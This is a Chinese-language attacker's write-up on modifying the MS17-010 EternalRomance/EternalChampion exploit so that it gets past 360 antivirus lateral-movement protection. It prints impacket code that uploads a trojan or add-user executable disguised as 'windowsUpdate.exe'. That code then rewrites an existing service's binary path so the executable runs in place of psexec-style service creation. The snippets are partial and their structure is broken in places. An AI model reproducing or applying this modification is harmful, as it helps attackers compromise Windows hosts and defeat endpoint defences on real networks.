MS17-010 EXP 分析 && modify
0x01 前言
内网打Ms17-010比较常见,一般走代理proxychains打正向payload
windows/x64/meterpreter/bind_tcp
经过测试,在不开启360横向渗透防护情况下msf还是会被拦截,也就是我们大家常见的这种场景是会被拦截的
这里先说明下,正常安装360的情况下,一般是不会开启360横向渗透防护的,这个模块一般需要自己手动去添加。
0x02 乱杀
防护开的比较全的情况下,就开始乱杀了,send smb可以把工具传上去,但是执行命令还是被横向渗透防护拦截,
测试时候发现,如果源IP不是当前Ip的话,就会被拦截远程攻击,判断攻击方式后查看源代码发现攻击利用的是老impacket包里面的psexec模块,攻击利用方式还是以起服务的方式, 拦截的主要地方是psexec起服务的地方,360这个横向渗透模块拦截了大部分的功能
测试wmihacker查看横向是否拦截,发现360横向渗透防护并不拦截,查看源代码发现wimihacker主要是使用Win32_Process换成win32_schedulejob
0x03 分析
整个的代码逻辑就是两个组合漏洞的利用cve-2017-0146(EternalChampion)和cve-2017-0143(EternalRomance),首先要能匿名访问机器的管道,并且获取到管道的名称,大致是一下几个browser,spoolss,netlogon,lasrpc , samr
有些机器访问可能需要身份验证,比如在某些环境中,我们需要一个普通用户,或者在能直接访问匿名管道的机器上配置代理,比如下图我们访问需要输入凭据,这种凭据我们也可以通过爆破的方式获取
获取管道名字后,然后拿到smbSession,上传文件,在C盘的根目录下创建一个Pwned.txt的文件
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
print('creating file c:\\pwned.txt on the target')
tid2 = smbConn.connectTree('C$')
fid2 = smbConn.createFile(tid2, '/pwned.txt')
smbConn.closeFile(tid2, fid2)
smbConn.disconnectTree(tid2)
然后后面再定义service_exec方法执行命令
跟踪代码查看是如何创建服务的,调用了CreateService的api
打开OpenSVCManager,打开服务后获取lpServiceHandle,下面resp里面在写入CreateService的句柄
resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
我们仿照他的思路改即可,继续往下看代码,就是移除服务的功能,这个就是Psexec的原版功能,他在执行后会删除刚才创建过的服务,这个地方其实也是一个比较会被拦截的地方。
0x04 修改
把文件上传的内容改成自己需要执行的exe,从本地上传,这里exe设置为马或者添加用户的exe都可以。
smb_send_file(smbConn, 'C:\Windows\Temp\windowsUpdate.exe', 'C', '/Users/Public/Downloads/windowsUpdate.exe')
print('文件上传')
service_exec(conn, r'C:\\ProgramData\\windowsUpdate.exe ')
resp = scmr.hRChangeServiceConfigW(rpcsvc, resp['lpServiceHandle'], scmr.SERVICE_NO_CHANGE, scmr.SERVICE_DEMAND_START, scmr.SERVICE_ERROR_IGNORE, cmd + '\x00')
serviceHandle = resp['lpServiceHandle']
if serviceHandle:
# start service
try:
print('Starting service %s.....' % service_name)
scmr.hRStartServiceW(rpcsvc, serviceHandle)
# is it really need to stop?
# using command line always makes starting service fail because SetServiceStatus() does not get called
#print('Stoping service %s.....' % service_name)
#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
except Exception as e:
print(str(e))
print('Removing service %s.....' % service_name)
scmr.hRDeleteService(rpcsvc, serviceHandle)
scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
except Exception as e:
print("ServiceExec Error on: %s" % conn.get_remote_host())
print(str(e))
finally:
if svcHandle:
scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
rpcsvc.disconnect()
修改后执行攻击
服务的二进制路径已经被修改了
可以看到在有360的情况下可以直接修改服务二进制路径然后启动服务(执行添加用户的exe)